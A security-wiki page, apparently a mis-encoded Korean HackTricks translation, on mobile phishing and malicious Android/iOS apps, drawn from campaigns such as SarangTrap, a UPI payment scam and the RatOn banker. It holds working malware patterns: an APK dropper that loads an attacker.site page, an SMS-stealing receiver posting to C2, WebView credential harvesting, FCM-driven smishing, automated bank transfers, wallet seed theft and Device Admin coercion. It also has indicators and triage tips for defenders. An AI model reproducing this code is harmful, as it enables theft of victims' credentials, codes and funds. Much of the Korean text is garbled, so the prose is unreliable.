Mobile Phishing & ์ ์ฑ ์ฑ ์ ํฌ (Android & iOS)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
[!INFO] ์ด ํ์ด์ง๋ ์ํ ํ์์๋ค์ด SEO, social engineering, ๊ฐ์ง ์คํ ์ด, ๋ฐ์ดํ ์ฑ ๋ฑ phishing์ ํตํด malicious Android APKs ๋ฐ iOS mobile-configuration profiles๋ฅผ ๋ฐฐํฌํ๋ ๋ฐ ์ฌ์ฉํ๋ ๊ธฐ๋ฒ์ ๋ค๋ฃน๋๋ค. ์๋ฃ๋ SarangTrap ์บ ํ์ธ( Zimperium zLabs (2025) )๊ณผ ๊ธฐํ ๊ณต๊ฐ ์ฐ๊ตฌ๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํฉ๋๋ค.
๊ณต๊ฒฉ ํ๋ฆ
- SEO/Phishing Infrastructure
- ์ ์ฌ ๋๋ฉ์ธ์ ์์ญ ๊ฐ ๋ฑ๋ก(๋ฐ์ดํ
, cloud share, car service ๋ฑโฆ).
โ
<title>์์์ ํ์ง ์ธ์ด ํค์๋์ ์ด๋ชจ์ง๋ฅผ ์ฌ์ฉํด Google์์ ์์๋ฅผ ์ฌ๋ฆผ. โ ๋์ผ ๋๋ฉ ํ์ด์ง์ Android (.apk)์ iOS ์ค์น ์ง์นจ์ ๋ ๋ค ํธ์คํ .
- 1์ฐจ ๋ค์ด๋ก๋
- Android: ์๋ช ๋์ง ์์(unsigned) ๋๋ โthird-party storeโ APK๋ก์ ์ง์ ๋งํฌ.
- iOS:
itms-services://๋๋ ์ ์ฑ mobileconfig ํ๋กํ์ผ๋ก์ ํ๋ฌธ HTTPS ๋งํฌ(์๋ ์ฐธ์กฐ).
- ์ค์น ํ Social Engineering
- ์ต์ด ์คํ ์ ์ฑ์ด invitation / verification code(๋ ์ ์ ๊ทผ ํ์)๋ฅผ ์๊ตฌ.
- ์ฝ๋๋ Command-and-Control (C2)์ HTTP POST๋ก ์ ์ก๋๋ค.
- C2๊ฐ
{"success":true}๋ฅผ ์๋ตํ๋ฉด โ malware๊ฐ ๋์์ ๊ณ์ํ๋ค. - ์ ํจํ ์ฝ๋๋ฅผ ์ ์ถํ์ง ์๋ Sandbox/AV ๋์ ๋ถ์์ ์ ์ฑ ํ์ ์์์ ๊ด์ฐฐ(ํํผ).
- Runtime Permission Abuse (Android)
- ์ํํ ๊ถํ์ C2์ ๊ธ์ ์๋ต ํ์๋ง ์์ฒญ๋๋ค:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Older builds also asked for SMS permissions -->
- ์ต์ ๋ณ์ข
์
AndroidManifest.xml์์ SMS์ ๋ํ<uses-permission>์ ์ ๊ฑฐํ์ง๋ง Java/Kotlin์ reflection์ผ๋ก SMS๋ฅผ ์ฝ๋ ์ฝ๋ ๊ฒฝ๋ก๋ ๋จ๊ฒจ๋ โ ์ ์ ์ ์๋ฅผ ๋ฎ์ถ๋ฉด์๋AppOpsabuse ๋๋ ์ค๋๋ ํ๊น์์ ๊ถํ์ด ํ์ฉ๋๋ฉด ์ฌ์ ํ ๋์.
- ์์ฅ UI ๋ฐ ๋ฐฑ๊ทธ๋ผ์ด๋ ์์ง
- ์ฑ์ ๋ก์ปฌ๋ก ๊ตฌํ๋ ๋ฌดํดํ ๋ทฐ(SMS viewer, gallery picker)๋ฅผ ํ์.
- ๋์์ ๋ค์์ ์ ์ถ:
- IMEI / IMSI, ์ ํ๋ฒํธ
- ์ ์ฒด
ContactsContract๋คํ(JSON ๋ฐฐ์ด) /sdcard/DCIM์ JPEG/PNG๋ฅผ Luban์ผ๋ก ์์ถํ์ฌ ํฌ๊ธฐ ์ถ์- ์ ํ์ SMS ๋ด์ฉ(
content://sms) ํ์ด๋ก๋๋ ๋ฐฐ์น๋ก zip๋์ดHTTP POST /upload.php๋ก ์ ์ก๋๋ค.
- iOS ์ ๋ฌ ๊ธฐ๋ฒ
- ํ๋์ mobile-configuration profile๋ก
PayloadType=com.apple.sharedlicenses,com.apple.managedConfiguration๋ฑ ์ ์์ฒญํด ๊ธฐ๊ธฐ๋ฅผ โMDMโ-์ ์ฌ ๊ฐ๋ ์ ๋ฑ๋ก์ํฌ ์ ์๋ค. - ์ฌํ๊ณตํ์ ์ง์นจ:
- ์ค์ ์ด๊ธฐ โ Profile downloaded.
- Install์ ์ธ ๋ฒ ํญ(ํผ์ฑ ํ์ด์ง์ ์คํฌ๋ฆฐ์ท ์ฐธ๊ณ ).
- ์๋ช ๋์ง ์์ ํ๋กํ์ผ์ ์ ๋ขฐ โ ๊ณต๊ฒฉ์๊ฐ App Store review ์์ด Contacts ๋ฐ Photo entitlement๋ฅผ ํ๋.
- ๋คํธ์ํฌ ๋ ์ด์ด
- ํ๋ฌธ HTTP, ์ข
์ข
ํฌํธ 80์์ HOST ํค๋ ์:
api.<phishingdomain>.com. User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)(TLS ์์ โ ํ์ง ์ฌ์).
Red-Team ํ
- Dynamic Analysis Bypass โ ๋งฌ์จ์ด ํ๊ฐ ์ Frida/Objection์ผ๋ก invitation code ๋จ๊ณ๋ฅผ ์๋ํํด ์ ์ฑ ๋ถ๊ธฐ๋ก ๋๋ฌ.
- Manifest vs. Runtime Diff โ
aapt dump permissions์ ๋ฐํ์PackageManager#getRequestedPermissions()๋ฅผ ๋น๊ต; ์ํ ๊ถํ์ด ๋๋ฝ๋ ๊ฒฝ์ฐ ๋ ๋ ํ๋๊ทธ. - Network Canary โ ์ฝ๋ ์
๋ ฅ ํ ๋ถ์์ ํ POST ํญ์ฃผ๋ฅผ ํ์งํ๋ ค๋ฉด
iptables -p tcp --dport 80 -j NFQUEUE๊ตฌ์ฑ. - mobileconfig Inspection โ macOS์์
security cms -D -i profile.mobileconfig๋ฅผ ์ฌ์ฉํดPayloadContent๋ฅผ ๋์ดํ๊ณ ๊ณผ๋ํ entitlements๋ฅผ ์ฐพ์๋ผ.
์ ์ฉํ Frida ์ค๋ํซ: ์ด๋ ์ฝ๋ ์๋ ์ฐํ
Frida: ์ด๋ ์ฝ๋ ์๋ ์ฐํ
```javascript // frida -U -f com.badapp.android -l bypass.js --no-pause // Hook HttpURLConnection write to always return success Java.perform(function() { var URL = Java.use('java.net.URL'); URL.openConnection.implementation = function() { var conn = this.openConnection(); var HttpURLConnection = Java.use('java.net.HttpURLConnection'); if (Java.cast(conn, HttpURLConnection)) { conn.getResponseCode.implementation = function(){ return 200; }; conn.getInputStream.implementation = function(){ return Java.use('java.io.ByteArrayInputStream').$new("{\"success\":true}".getBytes()); }; } return conn; }; }); ```์งํ (์ผ๋ฐ)
/req/checkCode.php # invite code validation
/upload.php # batched ZIP exfiltration
LubanCompress 1.1.8 # "Luban" string inside classes.dex
Android WebView Payment Phishing (UPI) โ Dropper + FCM C2 Pattern
์ด ํจํด์ ์ ๋ถ ํํ ํ ๋ง๋ฅผ ์ ์ฉํด ์ธ๋ UPI ์๊ฒฉ์ฆ๋ช ๊ณผ OTP๋ฅผ ํ์ทจํ๋ ์บ ํ์ธ์์ ๊ด์ฐฐ๋์์ต๋๋ค. ์ด์์๋ ๋ฐฐํฌ์ ๋ณต์๋ ฅ์ ์ํด ํํ ์๋ ํ๋ซํผ๋ค์ ์ฐ์์ ์ผ๋ก ์ฌ์ฉํฉ๋๋ค.
Delivery chain across trusted platforms
- YouTube ๋น๋์ค ๋ฏธ๋ผ โ ์ค๋ช ์ ๋จ์ถ ๋งํฌ ํฌํจ
- ๋จ์ถ ๋งํฌ โ ์ ์ ํฌํธ์ ๋ชจ๋ฐฉํ GitHub Pages ํผ์ฑ ์ฌ์ดํธ
- ๋์ผํ GitHub repo๋ ํ์ผ๋ก ์ง์ ์ฐ๊ฒฐ๋๋ ๊ฐ์ง โGoogle Playโ ๋ฐฐ์ง๊ฐ ๋ถ์ APK๋ฅผ ํธ์คํ ํจ
- ๋์ ํผ์ฑ ํ์ด์ง๋ Replit์ ํธ์คํ ๋๊ณ ; ์๊ฒฉ ๋ช ๋ น ์ฑ๋์ Firebase Cloud Messaging (FCM)์ ์ฌ์ฉํจ
Dropper with embedded payload and offline install
- ์ฒซ ๋ฒ์งธ APK๋ installer (dropper)๋ก, ์ค์ ์
์ฑ์ฝ๋๋ฅผ
assets/app.apk๋ก ํฌํจํ์ฌ ์ ๊ณตํ๊ณ ํด๋ผ์ฐ๋ ํ์ง๋ฅผ ์ฝํ์ํค๊ธฐ ์ํด WiโFi/๋ชจ๋ฐ์ผ ๋ฐ์ดํฐ๋ฅผ ๋นํ์ฑํํ๋๋ก ์ฌ์ฉ์์๊ฒ ์์ฒญํจ. - ๋ด์ฅ๋ payload๋ ๋ฌดํดํ ๋ผ๋ฒจ(์: โSecure Updateโ)๋ก ์ค์น๋จ. ์ค์น ํ์๋ ์ค์น ํ๋ก๊ทธ๋จ๊ณผ payload๊ฐ ๋ณ๊ฐ์ ์ฑ์ผ๋ก ๋ชจ๋ ์กด์ฌํจ.
Static triage tip (grep for embedded payloads):
unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
shortlink๋ฅผ ํตํ ๋์ ์๋ํฌ์ธํธ ๋ฐ๊ฒฌ
- Malware๋ shortlink์์ ํ๋ฌธ(plain-text), ์ผํ๋ก ๊ตฌ๋ถ๋ ํ์ฑ ์๋ํฌ์ธํธ ๋ชฉ๋ก์ ๊ฐ์ ธ์ค๋ฉฐ; ๊ฐ๋จํ ๋ฌธ์์ด ๋ณํ์ผ๋ก ์ต์ข phishing ํ์ด์ง ๊ฒฝ๋ก๋ฅผ ์์ฑํฉ๋๋ค.
์์(์ต๋ช ํ๋จ):
GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
Transform: "gate.html" โ "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload: https://sqcepo.replit.app/addsm.php
์์ฌ ์ฝ๋:
String csv = httpGet(shortlink);
String[] parts = csv.split(",");
String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");
WebView ๊ธฐ๋ฐ UPI credential harvesting
- โMake payment of โน1 / UPIโLiteโ ๋จ๊ณ์์ ๋์ ์๋ํฌ์ธํธ๋ก๋ถํฐ ๊ณต๊ฒฉ์ HTML ํผ์ WebView ๋ด๋ถ์ ๋ก๋ํ์ฌ ์ ํ๋ฒํธ, ์ํ, UPI PIN ๊ฐ์ ๋ฏผ๊ฐํ ํ๋๋ฅผ ์บก์ฒํ ๋ค ์ด๋ฅผ
addup.php๋กPOSTํฉ๋๋ค.
Minimal loader:
WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
Self-propagation and SMS/OTP interception
- ์ฒ์ ์คํ ์ ๊ณผ๋ํ ๊ถํ์ ์์ฒญํจ:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
- ์ฐ๋ฝ์ฒ๋ฅผ ์ํํ์ฌ ํผํด์ ๊ธฐ๊ธฐ์์ smishing SMS๋ฅผ ๋๋ ๋ฐ์กํฉ๋๋ค.
- ์์ ๋ SMS๋ broadcast receiver์ ์ํด ๊ฐ๋ก์ฑ์ด์ ธ ๋ฉํ๋ฐ์ดํฐ (sender, body, SIM slot, per-device random ID)์ ํจ๊ป
/addsm.php๋ก ์ ๋ก๋๋ฉ๋๋ค.
Receiver sketch:
public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
for (SmsMessage m: msgs){
postForm(urlAddSms, new FormBody.Builder()
.add("senderNum", m.getOriginatingAddress())
.add("Message", m.getMessageBody())
.add("Slot", String.valueOf(getSimSlot(i)))
.add("Device rand", getOrMakeDeviceRand(c))
.build());
}
}
Firebase Cloud Messaging (FCM)์ ํตํ ๋ณต์๋ ฅ ์๋ C2
- ํ์ด๋ก๋๋ FCM์ ๋ฑ๋ก๋๋ฉฐ; ํธ์ ๋ฉ์์ง๋ ๋์์ ํธ๋ฆฌ๊ฑฐํ๋ ์ค์์น๋ก ์ฌ์ฉ๋๋
_typeํ๋๋ฅผ ํฌํจํฉ๋๋ค(์: phishing ํ ์คํธ ํ ํ๋ฆฟ ์ ๋ฐ์ดํธ, ๋์ ์ ํ).
์์ FCM ํ์ด๋ก๋:
{
"to": "<device_fcm_token>",
"data": {
"_type": "update_texts",
"template": "New subsidy message..."
}
}
Handler ๊ฐ์:
@Override
public void onMessageReceived(RemoteMessage msg){
String t = msg.getData().get("_type");
switch (t){
case "update_texts": applyTemplate(msg.getData().get("template")); break;
case "smish": sendSmishToContacts(); break;
// ... more remote actions
}
}
์งํ/IOC
- APK์๋ ๋ณด์กฐ ํ์ด๋ก๋๊ฐ ํฌํจ๋จ:
assets/app.apk - WebView๊ฐ
gate.htm์์ ๊ฒฐ์ ํ์ด์ง๋ฅผ ๋ก๋ํ๊ณ/addup.php๋ก ์ ์ถํจ - SMS ์ ์ถ์ด
/addsm.php๋ก ์ ์ก๋จ - Shortlink ๊ธฐ๋ฐ ๊ตฌ์ฑ ๊ฐ์ ธ์ค๊ธฐ(์:
rebrand.ly/*)๊ฐ CSV ์๋ํฌ์ธํธ๋ฅผ ๋ฐํํจ - ์ผ๋ฐ์ ์ผ๋ก โUpdate/Secure Updateโ๋ก ํ์๋ ์ฑ๋ค
- ์ ๋ขฐํ ์ ์๋ ์ฑ์์
_type๊ตฌ๋ถ์๊ฐ ํฌํจ๋ FCMdata๋ฉ์์ง
Socket.IO/WebSocket ๊ธฐ๋ฐ APK ๋ฐ๋ฐ์ + ๊ฐ์ง Google Play ํ์ด์ง
๊ณต๊ฒฉ์๋ค์ ์ ์ APK ๋งํฌ๋ฅผ Google Play์ฒ๋ผ ๋ณด์ด๋ ์ ์ธ๋ฌผ์ ๋ด์ฅ๋ Socket.IO/WebSocket ์ฑ๋๋ก ๋์ฒดํ๋ ๊ฒฝ์ฐ๊ฐ ๋๊ณ ์๋ค. ์ด๋ ํ์ด๋ก๋ URL์ ์จ๊ธฐ๊ณ , URL/ํ์ฅ์ ํํฐ๋ฅผ ์ฐํํ๋ฉฐ, ํ์ค์ ์ธ ์ค์น UX๋ฅผ ์ ์งํ๋ค.
์ค์ ์์ ๊ด์ฐฐ๋ ์ ํ์ ์ธ ํด๋ผ์ด์ธํธ ํ๋ฆ:
Socket.IO ๊ฐ์ง Play ๋ค์ด๋ก๋ (JavaScript)
```javascript // Open Socket.IO channel and request payload const socket = io("wss://// Accumulate binary chunks and drive fake Play progress UI const chunks = []; socket.on(โchunkโ, (chunk) => chunks.push(chunk)); socket.on(โdownloadProgressโ, (p) => updateProgressBar(p));
// Assemble APK clientโside and trigger browser save dialog socket.on(โdownloadCompleteโ, () => { const blob = new Blob(chunks, { type: โapplication/vnd.android.package-archiveโ }); const url = URL.createObjectURL(blob); const a = document.createElement(โaโ); a.href = url; a.download = โapp.apkโ; a.style.display = โnoneโ; document.body.appendChild(a); a.click(); });
</details>
๊ฐ๋จํ ๋ณด์ ์ ์ด๋ฅผ ํํผํ๋ ์ด์ :
- ์ ์ APK URL์ด ๋
ธ์ถ๋์ง ์์; ํ์ด๋ก๋๋ WebSocket ํ๋ ์์์ ๋ฉ๋ชจ๋ฆฌ์์ผ๋ก ์ฌ๊ตฌ์ฑ๋จ.
- ์ง์ .apk ์๋ต์ ์ฐจ๋จํ๋ URL/MIME/extension ํํฐ๋ WebSockets/Socket.IO๋ฅผ ํตํด ํฐ๋๋ง๋ ๋ฐ์ด๋๋ฆฌ ๋ฐ์ดํฐ๋ฅผ ๋์น ์ ์์.
- WebSockets๋ฅผ ์คํํ์ง ์๋ Crawlers ๋ฐ URL sandboxes๋ ํ์ด๋ก๋๋ฅผ ๊ฐ์ ธ์ค์ง ๋ชปํจ.
์ฐธ๊ณ : WebSocket ๊ด๋ จ ๊ธฐ๋ฒ ๋ฐ ํด๋ง:
<a class="content_ref" href="../../pentesting-web/websocket-attacks.md"><span class="content_ref_label">WebSocket Attacks</span></a>
## Android Accessibility/Overlay & Device Admin Abuse, ATS ์๋ํ, ๋ฐ NFC relay ์ค์ผ์คํธ๋ ์ด์
โ RatOn ์ฌ๋ก ์ฐ๊ตฌ
RatOn banker/RAT ์บ ํ์ธ(ThreatFabric)์ ํ๋ ๋ชจ๋ฐ์ผ ํผ์ฑ ์์ ์ด WebView droppers, Accessibility ๊ธฐ๋ฐ UI ์๋ํ, overlays/ransom, Device Admin ๊ฐ์, Automated Transfer System (ATS), crypto wallet ํ์ทจ, ์ฌ์ง์ด NFC-relay ์ค์ผ์คํธ๋ ์ด์
๊น์ง ์ด๋ป๊ฒ ๊ฒฐํฉ๋๋์ง๋ฅผ ๋ณด์ฌ์ฃผ๋ ๋ํ์ ์ธ ์ฌ๋ก์ด๋ค. ์ด ์น์
์์๋ ์ฌ์ฌ์ฉ ๊ฐ๋ฅํ ๊ธฐ๋ฒ๋ค์ ์ถ์ํํ์ฌ ์ค๋ช
ํ๋ค.
### Stage-1: WebView โ native install bridge (dropper)
๊ณต๊ฒฉ์๋ ๊ณต๊ฒฉ์ ํ์ด์ง๋ฅผ ๊ฐ๋ฆฌํค๋ WebView๋ฅผ ํ์ํ๊ณ , ๋ค์ดํฐ๋ธ ์ค์น๊ธฐ๋ฅผ ๋
ธ์ถํ๋ JavaScript ์ธํฐํ์ด์ค๋ฅผ ์ธ์ ์
ํ๋ค. HTML ๋ฒํผ์ ํญํ๋ฉด ๋ค์ดํฐ๋ธ ์ฝ๋๊ฐ ํธ์ถ๋์ด dropper์ assets์ ๋ฒ๋ค๋ 2๋จ๊ณ APK๋ฅผ ์ค์นํ๊ณ ๋ฐ๋ก ์คํํ๋ค.
์ต์ ํจํด:
<details>
<summary>Stage-1 dropper ์ต์ ํจํด (Java)</summary>
```java
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
super.onCreate(b);
WebView wv = new WebView(this);
wv.getSettings().setJavaScriptEnabled(true);
wv.addJavascriptInterface(new Object(){
@android.webkit.JavascriptInterface
public void installApk(){
try {
PackageInstaller pi = getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int id = pi.createSession(p);
try (PackageInstaller.Session s = pi.openSession(id);
InputStream in = getAssets().open("payload.apk");
OutputStream out = s.openWrite("base.apk", 0, -1)){
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
}
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
pi.commit(id, status.getIntentSender());
} catch (Exception e) { /* log */ }
}
}, "bridge");
setContentView(wv);
wv.loadUrl("https://attacker.site/install.html");
}
}
ํ์ด์ง์ HTML:
<button onclick="bridge.installApk()">Install</button>
์ค์น ํ, dropper๋ ๋ช ์์ package/activity๋ฅผ ํตํด payload๋ฅผ ์คํํฉ๋๋ค:
Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);
Hunting idea: ์ ๋ขฐ๋์ง ์์ ์ฑ์ด addJavascriptInterface()๋ฅผ ํธ์ถํ๊ณ WebView์ ์ค์น์์ ์ ์ฌํ ๋ฉ์๋๋ฅผ ๋
ธ์ถ; APK๊ฐ assets/ ์๋์ ์๋ฒ ๋๋๋ 2์ฐจ ํ์ด๋ก๋๋ฅผ ํฌํจํ๊ณ Package Installer Session API๋ฅผ ํธ์ถํ๋ ๊ฒฝ์ฐ.
Consent funnel: Accessibility + Device Admin + follow-on runtime prompts
Stage-2๋ WebView๋ฅผ ์ด์ด โAccessโ ํ์ด์ง๋ฅผ ํธ์คํ ํ๋ค. ํด๋น ํ์ด์ง์ ๋ฒํผ์ export๋ ๋ฉ์๋๋ฅผ ํธ์ถํด ํผํด์๋ฅผ Accessibility ์ค์ ์ผ๋ก ์ด๋์ํค๊ณ ์ ์ฑ ์๋น์ค๋ฅผ ํ์ฑํํ๋๋ก ์์ฒญํ๋ค. ์น์ธ๋๋ฉด, ์ ์ฑ์ฝ๋๋ Accessibility๋ฅผ ์ฌ์ฉํด ์ดํ ๋ฐํ์ ๊ถํ ๋ํ์์(contacts, overlay, manage system settings ๋ฑ)๋ฅผ ์๋์ผ๋ก ํด๋ฆญํ๊ณ Device Admin์ ์์ฒญํ๋ค.
- Accessibility๋ ํ๋ก๊ทธ๋๋ฐ์ ์ผ๋ก node-tree์์ โAllowโ/โOKโ ๊ฐ์ ๋ฒํผ์ ์ฐพ์ ํด๋ฆญ์ ์คํํ์ฌ ์ดํ ํ๋กฌํํธ๋ฅผ ์๋ฝํ๋๋ก ๋๋๋ค.
- Overlay ๊ถํ ํ์ธ/์์ฒญ:
if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
Uri.parse("package:" + ctx.getPackageName()));
ctx.startActivity(i);
}
์ฐธ๊ณ :
WebView๋ฅผ ํตํ ์ค๋ฒ๋ ์ด ํผ์ฑ/๋์ฌ
์ด์์๋ ๋ค์ ๋ช ๋ น์ ์คํํ ์ ์๋ค:
- URL์์ ์ ์ฒด ํ๋ฉด ์ค๋ฒ๋ ์ด๋ฅผ ๋ ๋๋งํ๊ฑฐ๋,
- WebView ์ค๋ฒ๋ ์ด์ ๋ก๋๋๋ ์ธ๋ผ์ธ HTML์ ์ ๋ฌํ๋ค.
๊ฐ๋ฅํ ์ฌ์ฉ ์ฌ๋ก: ๊ฐ์(PIN ์ ๋ ฅ), PIN์ ์บก์ฒํ๊ธฐ ์ํ ์ง๊ฐ ์ด๊ธฐ, ๋์ฌ ๋ฉ์์ง ์ ์ก. ์ค๋ฒ๋ ์ด ๊ถํ์ด ์๋ ๊ฒฝ์ฐ๋ฅผ ๋๋นํด ๊ถํ์ ํ์ธ/์์ฒญํ๋ ๋ช ๋ น์ ์ ์งํ๋ผ.
์๊ฒฉ ์ ์ด ๋ชจ๋ธ โ ํ ์คํธ ์ ์ฌ ํ๋ฉด + ํ๋ฉด ์ ์ก
- ์ ๋์ญํญ: ์ฃผ๊ธฐ์ ์ผ๋ก Accessibility node tree๋ฅผ ๋คํํ๊ณ , ๋ณด์ด๋ ํ
์คํธ/roles/bounds๋ฅผ ์ง๋ ฌํํ์ฌ ์์ฌ-์คํฌ๋ฆฐ์ผ๋ก C2์ ์ ์กํ๋ค(์: ํ ๋ฒ ์คํํ๋
txt_screen, ์ง์ํscreen_live๊ฐ์ ๋ช ๋ น). - ๊ณ ์ถฉ์ค๋: MediaProjection์ ์์ฒญํ๊ณ ํ์ ์ ํ๋ฉด ์ ์ก/๋
นํ๋ฅผ ์์ํ๋ค(์:
display/record๊ฐ์ ๋ช ๋ น).
ATS ํ๋ ์ด๋ถ (bank app automation)
JSON ์์ ์ด ์ฃผ์ด์ง๋ฉด, ์ํ ์ฑ์ ์ด๊ณ Accessibility๋ฅผ ํตํด ํ ์คํธ ์ฟผ๋ฆฌ์ ์ขํ ํญ์ ํผํฉํด UI๋ฅผ ์ ์ดํ๋ฉฐ, ์์ฒญ ์ ํผํด์์ ๊ฒฐ์ PIN์ ์ ๋ ฅํ๋ค.
์์ ์์ :
{
"cmd": "transfer",
"receiver_address": "ACME s.r.o.",
"account": "123456789/0100",
"amount": "24500.00",
"name": "ACME"
}
Example texts seen in one target flow (CZ โ EN):
- โNovรก platbaโ โ โ์ ๊ฒฐ์ โ
- โZadat platbuโ โ โ๊ฒฐ์ ์ ๋ ฅโ
- โNovรฝ pลรญjemceโ โ โ์ ์์ ์โ
- โDomรกcรญ ฤรญslo รบฤtuโ โ โ๊ตญ๋ด ๊ณ์ข ๋ฒํธโ
- โDalลกรญโ โ โ๋ค์โ
- โOdeslatโ โ โ๋ณด๋ด๊ธฐโ
- โAno, pokraฤovatโ โ โ์, ๊ณ์โ
- โZaplatitโ โ โ๊ฒฐ์ โ
- โHotovoโ โ โ์๋ฃโ
Operators can also check/raise transfer limits via commands like check_limit and limit that navigate the limits UI similarly.
Crypto wallet seed extraction
Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show ์๋ ๋ฌธ๊ตฌ, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
Device Admin coercion
- Immediate lock:
dpm.lockNow();
- ํ์ฌ ์๊ฒฉ ์ฆ๋ช ์ ๋ง๋ฃ์์ผ ๋ณ๊ฒฝ์ ๊ฐ์ ํจ (Accessibility๊ฐ ์๋ก์ด PIN/password๋ฅผ ์บก์ฒํจ):
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
- keyguard์ ์์ฒด์ธ์ฆ ๊ธฐ๋ฅ์ ๋นํ์ฑํํ์ฌ ๋น์์ฒด(๋น-๋ฐ์ด์ค๋ฉํธ๋ฆญ) ์ ๊ธ ํด์ ๋ฅผ ๊ฐ์ :
dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
Note: ๋ง์ DevicePolicyManager controls๋ ์ต์ Android์์ Device Owner/Profile Owner๋ฅผ ์๊ตฌํฉ๋๋ค; ์ผ๋ถ OEM ๋น๋๋ ๋์จํ ์ ์์ต๋๋ค. ํญ์ ๋์ OS/OEM์์ ๊ฒ์ฆํ์ธ์.
NFC relay orchestration (NFSkate)
Stage-3๋ ์ธ๋ถ NFC-relay ๋ชจ๋(์: NFSkate)์ ์ค์นํ๊ณ ์คํํ ์ ์์ผ๋ฉฐ, ๋ฆด๋ ์ด ์ค ํผํด์๋ฅผ ์๋ดํ๊ธฐ ์ํ HTML ํ ํ๋ฆฟ์ ์ ๋ฌํ ์๋ ์์ต๋๋ค. ์ด๋ ์จ๋ผ์ธ ATS์ ํจ๊ป ๋น์ ์ด ์นด๋-ํ๋ ์ฆํธ ํ๊ธ ์ธ์ถ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
Background: NFSkate NFC relay.
Operator command set (sample)
- UI/state:
txt_screen,screen_live,display,record - Social:
send_push,Facebook,WhatsApp - Overlays:
overlay(inline HTML),block(URL),block_off,access_tint - Wallets:
metamask,trust,blockchain,phantom - ATS:
transfer,check_limit,limit - Device:
lock,expire_password,disable_keyguard,home,back,recents,power,touch,swipe,keypad,tint,sound_mode,set_sound - Comms/Recon:
update_device,send_sms,replace_buffer,get_name,add_contact - NFC:
nfs,nfs_inject
Accessibility-driven ATS anti-detection: human-like text cadence and dual text injection (Herodotus)
์ํ ํ์์๋ค์ ์ ๊ทผ์ฑ(Accessibility) ๊ธฐ๋ฐ ์๋ํ์ ๊ธฐ๋ณธ ํ๋ ์์ฒด์ธ์์ ๋์ํ๋๋ก ์กฐ์ ๋ ์ํฐ-ํ์ง๋ฅผ ์ ์ ๊ฒฐํฉํ๊ณ ์์ต๋๋ค. ์ต๊ทผ์ banker/RAT๋ ๋ ๊ฐ์ง ๋ณด์์ ํ ์คํธ ์ ๋ฌ ๋ชจ๋์ ๋ฌด์์ํ๋ ํ์ดํ ๋ฆฌ๋ฌ์ ์๋ฎฌ๋ ์ด์ ํ๋ ์ด์์ ํ ๊ธ์ ๋ณด์ฌ์ค๋๋ค.
- Discovery mode: ์กฐ์ ์ ์ ์ ๋ ํฐ์ bounds๋ก ๋ณด์ด๋ ๋ ธ๋๋ฅผ ์ด๊ฑฐํ์ฌ ์ ๋ ฅ์ ์ ํํ ํ๊น(ID, text, contentDescription, hint, bounds).
- Dual text injection:
- Mode 1 โ
ACTION_SET_TEXT๋ฅผ ๋์ ๋ ธ๋์ ์ง์ ์ ์ฉ(์์ ์ , ํค๋ณด๋ ์์); - Mode 2 โ ํด๋ฆฝ๋ณด๋ ์ค์ +
